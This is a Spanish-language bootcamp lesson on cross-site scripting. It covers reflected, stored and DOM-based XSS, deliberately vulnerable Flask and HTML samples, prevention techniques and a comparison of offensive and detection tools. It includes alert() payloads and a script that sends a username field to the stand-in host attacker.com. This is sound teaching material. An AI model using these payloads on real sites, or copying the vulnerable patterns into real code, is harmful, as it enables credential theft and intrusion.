A tu propio ritmo

Explora nuestra extensa colección de cursos diseñados para ayudarte a dominar varios temas y habilidades. Ya seas un principiante o un aprendiz avanzado, aquí hay algo para todos.

Bootcamp

Aprende en vivo

Únete a nosotros en nuestros talleres gratuitos, webinars y otros eventos para aprender más sobre nuestros programas y comenzar tu camino para convertirte en desarrollador.

Próximos eventos en vivo

Catálogo de contenidos

Para los geeks autodidactas, este es nuestro extenso catálogo de contenido con todos los materiales y tutoriales que hemos desarrollado hasta el día de hoy.

Tiene sentido comenzar a aprender leyendo y viendo videos sobre los fundamentos y cómo funcionan las cosas.

Buscar en lecciones


IngresarEmpezar
← Regresar a lecciones
Editar en Github

Como realizar o prevenir el ataque XSS (secuencias de comandos entre sitios)

🎯 Atacando Google.com con XSS Reflejado (Reflected XSS)

🚨 ¡IMPORTANTÍSIMO! Antes de empezar, XSS es la vulnerabilidad más importante de todas, está presente en más del 40% de los sitios web 🌐. Vamos a prestarle toda la atención posible, no solo a esta vulnerabilidad sino a todo el OWASP Top 10.

XSS1

Cross-site scripting (XSS) es cuando un sitio web tiene entradas de datos no validadas que permiten al atacante inyectar código HTML, CSS o Javascript dentro de la página objetivo. Por ejemplo:

🎯 Atacando Google.com con XSS Reflejado (Reflected XSS)

Si te fijas bien, cuando usas google.com para buscar, por ejemplo, "¿Qué es XSS?" el término de búsqueda que escribiste se añade a la URL de la página de resultados como un "query string" de la siguiente manera:

1https://www.google.com/search?q=ques+es+xss

Cualquier combinación de caracteres que usemos para buscar pasará a ser parte de la URL de los resultados de búsqueda y luego pasará a ser parte del <body> de la página de resultados.

xss a google.com

💉 Inyectando scripts a la página atacada

Si inyectamos el texto "¿Qué es XSS?" a la página de google.com, tal vez podamos inyectar un script de JS que abra un nuevo modal:

1https://www.google.com/search?q=<script>alert('Hola Mundo')</script>

¡🎉 Hemos logrado que nuestro código sea incluido en la página de Google! Pincha aquí para comprobarlo.

🔐 Google.com está protegido contra XSS

La mala noticia es que, a pesar de que nuestro código <script>alert('Hola Mundo')</script> aparece dentro del código fuente de google.com, ¡no se está ejecutando! 😕

Seguramente Google está transformando nuestro código en caracteres inofensivos para evitar que el navegador web los interprete.

⚠️ Ejemplos de scripts más maliciosos

Un simple <script>alert('Hola Mundo')</script> es inofensivo, pero el siguiente script sería mucho peor:

1<script> 2 window.location = "http://attacker.com/phishing-page?data=" + document.getElementById('username').value; 3</script>

Este ataque podría ser utilizado para redirigir a los usuarios a una página de phishing que parece legítima pero está controlada por el atacante. En el proceso, el atacante podría robar el nombre de usuario u otra información sensible que el usuario haya introducido en el sitio original. Esto podría llevar al robo de credenciales o a engañar al usuario para que proporcione más información en la página de phishing.

🛠️ ¿Qué hace este código?

  1. Etiqueta <script>: El atacante inyecta una etiqueta <script> en la página web. Cuando se carga la página, el navegador de la víctima ejecutará este script.

  2. 🚨 Redirección maliciosa: El script utiliza window.location para redirigir al usuario a una URL controlada por el atacante, en este caso, http://attacker.com/phishing-page. La parte clave de esta redirección es que el script también adjunta datos sensibles a la URL.

  3. 🔓 Robo de información del usuario: El script obtiene el valor del campo de entrada con el ID username, que podría ser el nombre de usuario o alguna otra información sensible que el usuario haya introducido en la página. Este valor se adjunta a la URL de la página de phishing y es enviado al servidor del atacante.

Otros tipos de XSS

🗃️ XSS Almacenado (Stored XSS)

Imagina una red social donde los usuarios pueden publicar comentarios en los perfiles de otros usuarios. Estos comentarios se almacenan en una base de datos y se muestran cada vez que alguien visita el perfil.

Ejemplo de código vulnerable:

1@app.route('/post_comment', methods=['POST']) 2def post_comment(): 3 comment = request.form['comment'] 4 comments.append(comment) # Guardar comentario sin sanitizar 5 return "Comentario publicado" 6 7@app.route('/view_comments') 8def view_comments(): 9 comments_html = "".join(f"<p>{comment}</p>" for comment in comments) 10 return render_template_string(comments_html) # Vulnerable a XSS

Ataque: Un atacante puede publicar un comentario como el siguiente:

1<script>alert('XSS Almacenado');</script>

Cuando otros usuarios visiten la página del perfil, este script se ejecutará en sus navegadores, mostrando una alerta o realizando alguna acción maliciosa.

🧩 XSS Basado en DOM (DOM-based XSS)

Escenario: Una página web utiliza JavaScript para mostrar el contenido de la URL directamente en el DOM, como parte de una funcionalidad que muestra un saludo personalizado.

Ejemplo de código vulnerable:

1<!-- HTML - Código que manipula el DOM --> 2<!DOCTYPE html> 3<html> 4<head> 5 <title>Bienvenido</title> 6</head> 7<body> 8 <h1>Bienvenido</h1> 9 <p id="greeting"></p> 10 <script> 11 var greeting = "Hola " + window.location.search.substring(1); 12 document.getElementById("greeting").innerHTML = greeting; 13 </script> 14</body> 15</html>

Ataque: Un atacante podría enviar un enlace malicioso:

http://ejemplo.com/index.html?nombre=<script>alert('XSS DOM');</script>

Al abrir esta URL, el navegador de la víctima ejecutará el script malicioso porque el contenido del parámetro nombre se inserta directamente en el DOM sin ser saneado.

🕵️‍♂️ ¿Qué puede lograr un atacante con XSS?

Un atacante puede lograr diversas acciones maliciosas a través de un ataque de Cross-Site Scripting (XSS), dependiendo del tipo de XSS y del contexto en el que se explote la vulnerabilidad. A continuación, se enumeran algunas de las acciones más comunes que un atacante podría llevar a cabo utilizando XSS:

1. 🔐 Robo de cookies y sesiones:

  • Un atacante puede utilizar XSS para robar cookies de sesión del usuario, lo que le permite suplantar la identidad de la víctima en la aplicación web. Con las cookies de sesión, el atacante puede acceder a la cuenta del usuario y realizar acciones como si fuera la víctima.

2. 🖼️ Desfiguración de sitios web:

  • El atacante puede inyectar código JavaScript que modifique el contenido visible de la página web, alterando textos, imágenes o la estructura de la página para mostrar mensajes ofensivos o engañosos.

3. 🔗 Redirección a sitios de phishing:

  • El atacante puede redirigir a los usuarios a sitios web maliciosos, como páginas de phishing, donde se engaña a los usuarios para que introduzcan sus credenciales o información personal.

4. 👤 Ejecutar acciones en nombre del usuario (Robo de clics):

  • Mediante la manipulación de formularios o botones, el atacante puede ejecutar acciones en nombre del usuario, como enviar mensajes, cambiar configuraciones de cuenta, o realizar transacciones no autorizadas.

5. 🔎 Acceso a información sensible:

  • El script malicioso puede acceder a datos confidenciales en la página, como contenido de formularios o información de perfil, y enviarla al servidor del atacante.

6. 💻 Cargar y ejecutar código malicioso externo:

  • El atacante puede inyectar código que carga scripts externos desde un servidor bajo su control, permitiendo la ejecución de malware o la explotación de otras vulnerabilidades en el navegador del usuario.

7. ⌨️ Keylogging:

  • A través de XSS, el atacante puede inyectar un keylogger, un script que registra las pulsaciones de teclas del usuario, capturando contraseñas, números de tarjetas de crédito y cualquier otra información sensible que el usuario escriba.

8. 🔓 Escalación de privilegios:

  • Si el atacante puede ejecutar scripts en el contexto del navegador de un usuario con privilegios elevados (por ejemplo, un administrador), puede realizar acciones administrativas o acceder a funciones restringidas de la aplicación.

9. 🔒 Ataques CSRF (Cross-Site Request Forgery):

  • XSS puede ser utilizado para facilitar ataques CSRF, donde el script malicioso provoca que el navegador del usuario realice solicitudes no deseadas a otra aplicación en la que el usuario esté autenticado.

10. 🌐 Recolección de información del entorno del usuario:

  • El atacante puede utilizar X

SS para obtener información sobre el entorno del usuario, como el tipo de navegador, la versión del sistema operativo, plugins instalados, dirección IP, etc., que podrían ser utilizados en ataques dirigidos.

11. 🛑 Denegación de servicio (DoS):

  • El atacante puede crear scripts que sobrecarguen la página web o el navegador del usuario, provocando una Denegación de Servicio (DoS) que afecta la disponibilidad de la aplicación para el usuario.

🔒 ¿Cómo prevenir XSS?

Evitar ataques de Cross-Site Scripting (XSS) es fundamental para proteger tus aplicaciones web y a tus usuarios. A continuación, te presento una serie de prácticas recomendadas para prevenir XSS en tus aplicaciones:

1. 🚧 Escapar el contenido HTML

Escapa todos los datos que se insertan en el HTML antes de renderizarlos en la página. Esto significa convertir caracteres especiales como <, >, &, y " en sus entidades HTML correspondientes.

1from flask import escape 2safe_string = escape(unsafe_string)
1const escape = require('escape-html'); 2let safeString = escape(unsafeString);

2. 🛡️ Usar plantillas que escapan automáticamente

Utiliza motores de plantillas que escapan automáticamente el contenido insertado. La mayoría de los frameworks modernos, como Flask (con Jinja2), Django, Laravel (Blade), y Express (con EJS o Pug), escapan el contenido por defecto.

1{{ user_input }}
1<%= userInput %>

3. 🔍 Validación y sanitización de entrada

Valida y sanitiza la entrada del usuario para asegurarte de que contiene solo lo que esperas. Elimina o codifica cualquier parte que no sea segura.

1from wtforms import StringField 2from wtforms.validators import InputRequired, Length 3 4class MyForm(FlaskForm): 5 name = StringField('Name', validators=[InputRequired(), Length(max=100)])
1const { body } = require('express-validator'); 2 3app.post('/submit', [ 4 body('username').isAlphanumeric().trim().escape() 5], (req, res) => { 6 // Handle request 7});

4. 📜 Uso de Content Security Policy (CSP)

Implementa una política de seguridad de contenido (CSP) para limitar las fuentes desde las cuales se pueden cargar scripts. Esto ayuda a mitigar XSS al bloquear la ejecución de scripts no autorizados.

Ejemplo de cabecera CSP:

1Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com

5. 🔐 Utilizar HTTPOnly y Secure en cookies

Asegúrate de que las cookies de sesión tengan los flags HttpOnly y Secure para que no puedan ser accedidas por JavaScript ni transmitidas a través de una conexión insegura.

1response.set_cookie('sessionid', value=session_id, httponly=True, secure=True)
1res.cookie('sessionid', session_id, { httpOnly: true, secure: true });

6. ❌ Evitar JavaScript inline y eventos en HTML

Evita el uso de código JavaScript directamente en etiquetas HTML (<script>, onload=, onclick=, etc.). Usa archivos de scripts externos o declara las funciones en un archivo JS separado.

🚫 Malo:

1<img src="image.jpg" onerror="alert('XSS')">

✅ Bueno:

1<img src="image.jpg" id="image"> 2<script> 3 document.getElementById('image').addEventListener('error', function() { 4 alert('XSS'); 5 }); 6</script>

7. 🧹 Sanitización de HTML en entradas de usuario

Si debes permitir que los usuarios envíen HTML (por ejemplo, en un editor de texto enriquecido), usa una biblioteca que sanee el HTML y elimine cualquier código peligroso.

1from bleach import clean 2 3safe_html = clean(unsafe_html)
1const sanitizeHtml = require('sanitize-html'); 2let safeHtml = sanitizeHtml(unsafeHtml);

🛠️ Herramientas para evitar o atacar con XSS

Existen varias herramientas utilizadas por profesionales de la seguridad y atacantes para identificar y explotar vulnerabilidades de Cross-Site Scripting (XSS) en aplicaciones web. Estas herramientas pueden automatizar el proceso de descubrimiento de XSS o facilitar la explotación de vulnerabilidades existentes. A continuación, se enumeran algunas de las herramientas más conocidas para atacar con XSS:

A continuación, te presento una tabla comparativa de las principales herramientas utilizadas para atacar y detectar vulnerabilidades de Cross-Site Scripting (XSS):

🔧 Herramienta📄 Descripción⚙️ Características principales📜 Licencia📊 Nivel de complejidad
Burp SuiteHerramienta profesional para pruebas de penetración en aplicaciones web.Escaneo automatizado de XSS, proxy, modificación de solicitudes, repeater.Comercial (versión gratuita limitada)Alta
OWASP ZAPHerramienta gratuita y de código abierto para pruebas de seguridad en aplicaciones web.Escaneo automatizado de XSS, proxy, fuzzing, y análisis manual.Open SourceMedia
XSSerHerramienta especializada en la detección y explotación de vulnerabilidades XSS.Detección y explotación de XSS (almacenado, reflejado, DOM), payloads personalizados.Open SourceMedia
BeEFFramework avanzado para la explotación de navegadores web comprometidos.Control de navegadores víctimas, ejecución de comandos, integración con otras herramientas.Open SourceAlta
XSStrikeHerramienta avanzada para análisis, detección y explotación de XSS.Análisis de payloads, superación de WAFs, escaneo manual y automatizado.Open SourceMedia
SQLMapHerramienta para pruebas de inyección SQL con soporte limitado para XSS.Escaneo y explotación de inyección SQL, integración con XSS.Open SourceAlta
wfuzzHerramienta de fuzzing para pruebas en aplicaciones web, útil para encontrar XSS.Fuzzing de parámetros, soporte de listas personalizadas (payloads XSS).Open SourceMedia
Google DorkingTécnica de búsqueda avanzada en Google para encontrar aplicaciones vulnerables.Búsqueda de vulnerabilidades expuestas públicamente.-Baja

📊 Resumen de la tabla:

  • Burp Suite: Ideal para profesionales de la seguridad que requieren una herramienta completa para pruebas de penetración, aunque su versión gratuita es limitada.
  • OWASP ZAP: Una alternativa gratuita a Burp Suite, adecuada tanto para principiantes como para expertos.
  • XSSer: Especializada en XSS, adecuada para quienes buscan detectar y explotar exclusivamente vulnerabilidades XSS.
  • BeEF: Potente para controlar navegadores comprometidos, ideal para escenarios avanzados de explotación.
  • XSStrike: Herramienta avanzada centrada en la detección y superación de mecanismos de seguridad relacionados con XSS.
  • SQLMap: Aunque se centra en inyección SQL, también ofrece capacidades para explotación XSS.
  • wfuzz: Buena opción para pruebas de fuzzing en aplicaciones web, incluyendo la detección de XSS.
  • Google Dorking: Técnica útil para identificar vulnerabilidades XSS expuestas en la web pública, fácil de utilizar.

Cada herramienta tiene sus fortalezas y se adapta a diferentes necesidades y niveles de experiencia, desde principiantes hasta profesionales avanzados en ciberseguridad.